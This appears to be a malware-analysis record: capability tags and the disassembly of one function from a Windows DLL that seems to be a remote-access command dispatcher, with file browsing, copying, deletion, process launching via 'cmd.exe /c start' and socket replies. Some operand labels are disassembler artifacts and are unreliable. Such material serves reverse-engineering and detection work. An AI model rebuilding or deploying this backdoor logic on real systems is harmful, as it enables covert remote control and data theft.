Function at 0x1800089b0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Create process on windows
Create process suspended
Create thread
Delete file
Get common file path
Get file attributes
Move file
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [0x18005d060]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov ebx, r8d
mov rdi, rdx
mov rsi, rcx
cmp byte [rdx], 0xc9
je 0x180009def
xor r12d, r12d
mov qword [rbp - 0x20], r12
mov dword [rsp + 0x5c], r12d
cmp dword [rcx + 0x50], r12d
je 0x180008aae
mov dword [rbp + 0xe0], 0x4e52454b
mov dword [rbp + 0xe4], 0x32334c45
mov dword [rbp + 0xe8], 0x6c6c642e
mov byte [rbp + 0xec], r12b
movdqa xmm0, xmmword [0x180054170]
movdqu xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0x110], 0x52734634
mov dword [rbp + 0x114], 0x72696465
mov dword [rbp + 0x118], 0x69746365
mov word [rbp + 0x11c], 0x6e6f
mov byte [rbp + 0x11e], r12b
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180008a8f
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180008aae
lea rdx, [rbp + 0x100]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180008aae
lea rcx, [rbp - 0x20]
call rax
mov dword [rsp + 0x5c], eax
movzx ecx, byte [rdi]
cmp ecx, 0x42
ja case.0x180008ad4.14
lea rax, [0x180000000]
movzx edx, byte [rax + rcx + 0x9ec4]
mov r8d, dword [rax + rdx*4 + 0x9e44]
add r8, rax
jmp r8
lea rdx, [rdi + 1]
mov rcx, rsi
call fcn.18000a630
jmp case.0x180008ad4.14
lea rcx, [rdi + 1]
cmp byte [rsi + 0x278], r12b
je 0x180008b07
mov rdx, rcx
call fcn.18000bd00
mov byte [rsp + 0x50], gethostbyname
jmp 0x1800091d0
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [rsp + 0x50], gethostbyname
jmp 0x1800091d0
lea rdx, [rdi + 1]
mov rcx, rsi
call fcn.18000a870
mov byte [rsp + 0x50], gethostbyname
jmp 0x1800091d0
inc rdi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
cmp byte [rdi + rcx*2 - 2], 0x5c
jne 0x180008b8f
mov rdx, rdi
mov rcx, rsi
call fcn.18000aca0
cmp qword [rsi + 0x48], r12
jne 0x180008c3c
mov rcx, qword [rsi + 0x58]
mov r14, 0xffffffffffffffff
cmp rcx, r14
je 0x180008b72
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsi + 0x58], r14
mov rcx, qword [rsi + 0x60]
cmp rcx, r14
je 0x180008b85
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsi + 0x60], r14
mov byte [rsp + 0x50], 0x25
jmp 0x1800091d0
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], 7
mov word [rbp + 0x140], r12w
mov r14, 0xffffffffffffffff
nop word [rax + rax]
inc r14
cmp word [rdi + r14*2], r12w
jne 0x180008bc0
mov r8, r14
mov rdx, rdi
lea rcx, [rbp + 0x140]
call fcn.18000f260
nop
lea rbx, [rsi + 0x40]
mov rdi, qword [rbx]
movabs rax, 0x555555555555555
cmp qword [rbx + 8], rax
je 0x180009e25
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], r12
mov ecx, gethostbyname
call fcn.18001ddec
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rax + 0x10], xmm0
movups xmm1, xmmword [rbp + 0x150]
movups xmmword [rax + 0x20], xmm1
inc qword [rbx + 8]
mov rcx, qword [rdi + 8]
mov qword [rax], rdi
mov qword [rax + 8], rcx
mov qword [rdi + 8], rax
mov qword [rcx], rax
mov rax, qword [rsi + 0x40]
mov rdx, qword [rax]
add rdx, 0x10
cmp qword [rdx + 0x18], 8
jb 0x180008c51
mov rdx, qword [rdx]
mov rcx, rsi
call fcn.18000aa50
jmp case.0x180008ad4.14
cmp dword [rdi + 1], 0xffffffff
jne 0x180008c6e
cmp dword [rdi + 5], 0xffffffff
je 0x180008cef
xor r9d, r9d
lea r8, [rdi + 1]
mov edx, dword [rdi + 5]
mov rcx, qword [rsi + 0x58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58], r12d
mov rax, qword [rsi + 0x38]
mov byte [rax], 0x24
mov rcx, qword [rsi + 0x38]
movsd xmm0, qword [rdi + 1]
movsd qword [rcx + 1], xmm0
mov eax, dword [rdi + 9]
mov dword [rcx + 9], eax
mov rdx, qword [rsi + 0x38]
add rdx, 9
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x58]
mov r8d, 0x3fff7
mov rcx, qword [rsi + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8d, dword [rsp + 0x58]
test r8d, r8d
je 0x180008cef
cmp dword [rsi + 0x18], r12d
jne case.0x180008ad4.14
add r8d, 9
mov rdx, qword [rsi + 0x38]
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp case.0x180008ad4.14
mov rcx, rsi
call fcn.18000aba0
jmp case.0x180008ad4.14
lea rdx, [rdi + 1]
call fcn.180009fb0
mov byte [rsp + 0x50], 0x2e
jmp 0x1800091d0
lea rbx, [rdi + 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea rdx, [rbx + rax*2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov byte [rsp + 0x50], 0x2f
jmp 0x1800091d0
movzx edx, byte [rdi + 1]
mov rcx, rsi
call fcn.18000af00
jmp case.0x180008ad4.14
mov eax, dword [rdi + 1]
mov dword [rsi + 0x54], eax
mov rcx, rsi
call fcn.18000afa0
jmp case.0x180008ad4.14
xor edx, edx
mov r8d, 0x208
lea rcx, [rsi + 0x68]
call fcn.180020550
lea r8, [rdi + 9]
mov edx, 0x104
lea rcx, [rsi + 0x68]
call fcn.180027000
mov edx, dword [rdi + 5]
mov eax, dword [rdi + 1]
shl rax, 0x20
add rdx, rax
mov qword [rsi + 0x270], rdx
lea rdx, [rsi + 0x68]
call fcn.180009fb0
lea rdx, [rbp + 0x160]
lea rcx, [rsi + 0x68]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180008def
mov ecx, dword [rsi + 0x54]
sub ecx, 0x26
cmp ecx, 2
jbe 0x180008def
mov byte [rsp + 0x50], 0x29
cmp dword [rsi + 0x18], r12d
jne 0x180008df7
mov rcx, qword [rsi + 8]
mov r9, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x50]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp case.0x180008ad4.14
mov rcx, rsi
call fcn.18000afa0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp case.0x180008ad4.14
mov eax, dword [rdi + 1]
mov dword [rsp + 0x58], eax
xor r9d, r9d
lea r8, [rsp + 0x58]
mov edx, dword [rdi + 5]
mov rcx, qword [rsi + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r8d, [rbx - 9]
lea rdx, [rdi + 9]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x60]
mov rcx, qword [rsi + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x58], r12d
mov r9d, 1
lea r8, [rsp + 0x58]
xor edx, edx
mov rcx, qword [rsi + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov byte [rbp + 0xe0], reloc.WS2_32.dll_gethostbyname
mov ecx, dword [rsp + 0x58]
mov dword [rbp + 0xe1], ecx
mov dword [rbp + 0xe5], eax
cmp dword [rsi + 0x18], r12d
jne case.0x180008ad4.14
mov r8d, 9
lea rdx, [rbp + 0xe0]
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp case.0x180008ad4.14
lea r8, [rdi + 2]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp case.0x180008ad4.14
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x160]
call fcn.180020550
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rdi + 2]
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
mov dword [rsp + 0x70], WSAGetLastError
lea rax, [rsi + 0x6a8]
mov qword [rbp - 0x80], rax
xor eax, eax
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp case.0x180008ad4.14
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov dword [rsp + reloc.WS2_32.dll_WSASetLastError], 0x70
mov dword [rsp + 0x74], 0x40
mov qword [rbp - 0x80], r12
lea rax, str.WinRAR
mov qword [rbp - 0x78], rax
lea rax, [rdi + 1]
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x60], r12d
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je case.0x180008ad4.14
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x50], gethostbyname
jmp 0x1800091d0
cmp dword [rsi + 0x290], 1
je 0x180009def
mov dword [rsi + 0x290], r12d
lea rcx, [rsi + 0x294]
lea rax, [rdi + 1]
mov edx, 8
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x180009030
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
mov eax, dword [rax + 0x10]
mov dword [rcx + 0x10], eax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
mov r9, rsi
lea r8, [0x18000b430]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsi + 0x288], rax
jmp case.0x180008ad4.14
cmp dword [rsi + 0x290], r12d
jne 0x1800090ef
mov dword [rsi + 0x290], 1
mov edx, 0xffffffff
mov rcx, qword [rsi + 0x288]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsi + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsi + 0x290], r12d
mov byte [rsp + 0x50], 0x20
jmp 0x1800091d0
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call fcn.18000b570
jmp case.0x180008ad4.14
xor r9d, r9d
lea r8d, [r9 + 8]
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
jmp 0x180009cd5
mov ecx, 0x208
call fcn.18001de28
mov r14, rax
xor eax, eax
mov qword [r14], rax
lea rdx, [rdi + 1]
mov r8, r14
call fcn.18000b490
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r15d, [rax*2 + 3]
movsxd rbx, r15d
mov rcx, rbx
call fcn.18001de28
mov rdi, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.180020550
mov byte [rdi], 0x37
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
add r8, r8
lea rcx, [rdi + 1]
mov rdx, r14
call fcn.18001fe80
cmp dword [rsi + 0x18], r12d
jne 0x1800091aa
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
mov r8d, r15d
mov rdx, rdi
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, r14
call fcn.18001ddb8
jmp 0x180009d41
lea rdx, [rdi + 1]
call fcn.18000b890
jmp 0x1800091cb
lea rdx, [rdi + 1]
call fcn.18000ba70
mov byte [rsp + 0x50], 0x38
cmp dword [rsi + 0x18], r12d
jne case.0x180008ad4.14
mov r8d, 1
lea rdx, [rsp + 0x50]
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp case.0x180008ad4.14
cmp ebx, 2
jb 0x180009def
mov rcx, qword [rsi + 0x280]
test rcx, rcx
je 0x180009215
call fcn.18001ddb8
mov qword [rsi + 0x280], r12
lea eax, [rbx - 1]
mov ebx, eax
mov ecx, eax
call fcn.18001de28
mov qword [rsi + 0x280], rax
lea rdx, [rdi + 1]
mov r8d, ebx
mov rcx, rax
call fcn.18001fe80
jmp case.0x180008ad4.14
cmp ebx, 0x1fe
ja 0x180009def
cmp qword [rsi + 0x280], r12
je 0x180009def
mov ecx, 0x410
call fcn.18001de28
mov r14, rax
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x410
mov rcx, rax
call fcn.180020550
lea r8d, [rbx - 1]
lea rdx, [rdi + 1]
mov rcx, r14
call fcn.18001fe80
mov rdx, qword [rsi + 0x280]
xor ebx, ebx
mov qword [rbp + 0x140], rbx
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], 7
mov word [rbp + 0x140], bx
mov r14, 0xffffffffffffffff
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], bx
jne 0x1800092c0
lea rcx, [rbp + 0x140]
call fcn.18000f260
nop
lea rdx, [rbp + 0x140]
lea rcx, [rbp - 0x10]
call fcn.18000ec30
nop
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], 7
mov word [rbp + 0xe0], bx
mov ecx, 0x410
call fcn.18001de28
mov r15, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x10]
call fcn.18000fb20
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x1800097f9
mov rcx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf8]
cmp rcx, rdx
jae 0x180009371
lea rax, [rcx + 1]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
cmp rdx, 8
cmovae rax, qword [rbp + 0xe0]
mov dword [rax + rcx*2], 0
jmp 0x180009380
xor r9d, r9d
lea rcx, [rbp + 0xe0]
call fcn.18000f6a0
lea r12, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae r12, qword [rbp + 0xe0]
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], 7
mov word [rbp + 0x120], bx
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [r12 + r8*2], 0
jne 0x1800093c0
mov rdx, r12
lea rcx, [rbp + 0x120]
call fcn.18000f260
nop
lea rdi, [rbp + 0x120]
mov rax, qword [rbp + 0x138]
cmp rax, 8
setae byte [rsp + 0x50]
mov r13, qword [rbp + 0x120]
cmovae rdi, r13
mov rbx, qword [rbp + 0x130]
test rbx, rbx
je 0x1800097b6
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x160]
call fcn.180020550
lea rcx, [0x180053bd0]
mov edx, 0x100
nop dword [rax]
movzx eax, word [rcx]
cmp ax, dx
jae 0x180009486
movzx eax, al
mov byte [rbp + rax + 0x160], 1
add rcx, 2
lea rax, [0x180053bd2]
cmp rcx, rax
jne 0x180009430
lea rcx, [rbx - 1]
mov rax, r14
cmp rcx, r14
cmovb rax, rcx
lea rbx, [rdi + rax*2]
movzx eax, word [rbx]
cmp ax, dx
jae 0x180009477
cmp byte [rbp + rax + 0x160], 0
jne 0x1800094cf
cmp rbx, rdi
je 0x1800097af
sub rbx, 2
jmp 0x180009465
lea rcx, [rbx - 1]
mov rax, r14
cmp rcx, r14
cmovb rax, rcx
lea rbx, [rdi + rax*2]
nop dword [rax + rax]
mov ecx, 1
lea rax, [0x180053bd0]
movzx edx, word [rbx]
nop
cmp word [rax], dx
je 0x1800094cf
add rax, 2
sub rcx, 1
jne 0x1800094b0
cmp rbx, rdi
je 0x1800094ca
sub rbx, 2
jmp 0x1800094a0
mov rbx, r14
jmp 0x1800094d5
sub rbx, rdi
sar rbx, 1
cmp rbx, 0xffffffffffffffff
je 0x1800097af
xor edx, edx
mov r8d, 0x410
mov rcx, r15
call fcn.180020550
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
movsxd r8, eax
mov rdx, qword [rsp + 0x60]
mov rcx, r15
call fcn.18001fe80
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
sub rdi, rbx
add rdi, rdi
inc rbx
lea rbx, [r12 + rbx*2]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rcx, [r15 + rcx*2]
mov r8, rdi
mov rdx, rbx
call fcn.18001fe80
xor ebx, ebx
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], bx
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [r15 + r8*2], bx
jne 0x180009570
mov rdx, r15
lea rcx, [rbp + 0x100]
call fcn.18000f260
nop
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x118]
cmp rcx, rdx
jae 0x1800095c0
lea rax, [rcx + 1]
mov qword [rbp + 0x110], rax
lea rax, [rbp + 0x100]
cmp rdx, 8
cmovae rax, qword [rbp + 0x100]
mov dword [rax + rcx*2], ebx
jmp 0x1800095cf
xor r9d, r9d
lea rcx, [rbp + 0x100]
call fcn.18000f6a0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x1800096c2
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180009670
call qword [sym.imp.WINMM.dll_timeGetTime]
mov r9d, eax
mov r8, r15
lea rdx, [0x180053c30]
mov rcx, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8, r14
inc r8
cmp word [r15 + r8*2], 0
jne 0x180009611
mov rdx, r15
lea rcx, [rbp + 0x100]
call fcn.18000f260
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x118]
cmp rcx, rdx
jae 0x180009661
lea rax, [rcx + 1]
mov qword [rbp + 0x110], rax
lea rax, [rbp + 0x100]
cmp rdx, 8
cmovae rax, qword [rbp + 0x100]
mov dword [rax + rcx*2], ebx
jmp 0x180009670
xor r9d, r9d
lea rcx, [rbp + 0x100]
call fcn.18000f6a0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], 2
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x6e], xmm0
mov dword [rbp - 0x5e], ebx
mov word [rbp - 0x5a], bx
mov eax, 0x60c
mov word [rbp - 0x70], ax
mov qword [rbp - 0x80], r12
lea rax, [rbp + 0x100]
cmp qword [rbp + 0x118], 8
cmovae rax, qword [rbp + 0x100]
mov qword [rbp - 0x78], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
jmp 0x180009704
mov r8d, 1
mov rdx, r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x180009704
call qword [sym.imp.WINMM.dll_timeGetTime]
mov r9d, eax
mov r8, r15
lea rdx, [0x180053c30]
mov rcx, r15
call qword [sym.imp.USER32.dll_wsprintfW]
xor r8d, r8d
mov rdx, r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CopyFileW]
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 8
jb 0x18000974a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009745
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009e32
call fcn.18001ddb8
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], bx
cmp byte [rsp + 0x50], 0
je 0x180009315
mov rdx, qword [rbp + 0x138]
lea rdx, [rdx*2 + 2]
mov rax, r13
cmp rdx, 0x1000
jb 0x1800097a2
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009e38
mov rcx, r13
call fcn.18001ddb8
jmp 0x180009315
mov rax, qword [rbp + 0x138]
cmp byte [rsp + 0x50], 0
je 0x1800097f2
lea rdx, [rax*2 + 2]
mov rax, r13
cmp rdx, 0x1000
jb 0x1800097ea
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009e38
mov rcx, r13
call fcn.18001ddb8
xor ebx, ebx
jmp 0x180009315
mov rcx, r15
call fcn.18001ddb8
mov rcx, qword [rsp + 0x60]
call fcn.18001ddb8
mov byte [rsp + 0x50], 0x38
cmp dword [rsi + 0x18], 0
jne 0x18000982c
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x180009872
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000986d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009e3e
call fcn.18001ddb8
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], 7
mov word [rbp + 0xe0], bx
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp]
call fcn.18000e8a0
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x14], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.18001caa4
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 8
jb case.0x180008ad4.14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009bda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009e1f
jmp 0x180009bda
cmp dword [rsi + 0x8c8], 1
je 0x180009def
cmp ebx, 1
jbe case.0x180008ad4.14
lea ecx, [rbx - 1]
mov eax, 2
mul rcx
mov r14, 0xffffffffffffffff
cmovo rax, r14
mov rcx, rax
call fcn.18001de28
mov qword [rsi + 0x8b8], rax
mov r8, rbx
lea rdx, [rdi + 1]
mov rcx, rax
call fcn.18001fe80
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
mov r9, rsi
lea r8, [0x18000bea0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsi + 0x8c0], rax
jmp case.0x180008ad4.14
cmp dword [rsi + 0x8c8], r12d
jne case.0x180008ad4.14
mov dword [rsi + 0x8c8], 1
mov edx, 0xffffffff
mov rcx, qword [rsi + 0x8c0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsi + 0x8c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsi + 0x8c8], r12d
jmp case.0x180008ad4.14
mov byte [rsi + 0x278], 1
jmp case.0x180008ad4.14
mov byte [rsi + 0x278], r12b
jmp case.0x180008ad4.14
lea r15, [rdi + 1]
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 7
mov word [rbp + 0x120], r12w
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp word [r15 + r8*2], r12w
jne 0x180009a43
mov rdx, r15
lea rcx, [rbp + 0x120]
call fcn.18000f260
nop
lea rbx, [rbp + 0x120]
mov rdi, qword [rbp + 0x120]
mov r12, qword [rbp + 0x138]
cmp r12, 8
cmovae rbx, rdi
mov r13, qword [rbp + 0x130]
test r13, r13
je 0x180009be4
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x160]
call fcn.180020550
lea rcx, [0x180053c3c]
lea r8, [0x180053c3e]
mov edx, 0x100
movzx eax, word [rcx]
cmp ax, dx
jae 0x180009b02
movzx eax, al
mov byte [rbp + rax + 0x160], 1
add rcx, 2
cmp rcx, r8
jne 0x180009ab1
lea rax, [r13 - 1]
cmp rax, 0xffffffffffffffff
cmovb r14, rax
lea r14, [rbx + r14*2]
nop dword [rax]
movzx eax, word [r14]
cmp ax, dx
jae 0x180009af3
cmp byte [rbp + rax + 0x160], 0
jne 0x180009b4d
cmp r14, rbx
je 0x180009be4
sub r14, 2
jmp 0x180009ae0
lea rcx, [r13 - 1]
mov rax, r14
cmp rcx, r14
cmovb rax, rcx
lea r8, [rbx + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov ecx, 1
lea rax, [0x180053c3c]
movzx edx, word [r8]
cmp word [rax], dx
je 0x180009b4a
add rax, 2
sub rcx, 1
jne 0x180009b30
cmp r8, rbx
je 0x180009b53
sub r8, 2
jmp 0x180009b20
mov r14, r8
sub r14, rbx
sar r14, 1
cmp r14, 0xffffffffffffffff
je 0x180009be4
mov ecx, 0x410
call fcn.18001de28
mov rbx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
sub r8, r14
add r8, r8
lea rdx, [r15 + 2]
lea rdx, [rdx + r14*2]
mov rcx, rbx
call fcn.18001fe80
mov rdx, r15
mov rcx, rsi
call fcn.18000d170
mov rcx, rbx
call fcn.18001ddb8
nop
cmp r12, 8
jb case.0x180008ad4.14
lea rdx, [r12*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180009bd7
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009e19
mov rcx, rdi
call fcn.18001ddb8
jmp case.0x180008ad4.14
cmp r12, 8
jb 0x180009def
lea rdx, [r12*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180009c1b
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009e19
mov rcx, rdi
call fcn.18001ddb8
jmp 0x180009def
lea rdx, [rdi + 1]
mov rcx, rsi
call fcn.18000da70
jmp case.0x180008ad4.14
mov dword [rsp + reloc.WS2_32.dll_WSASetLastError], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
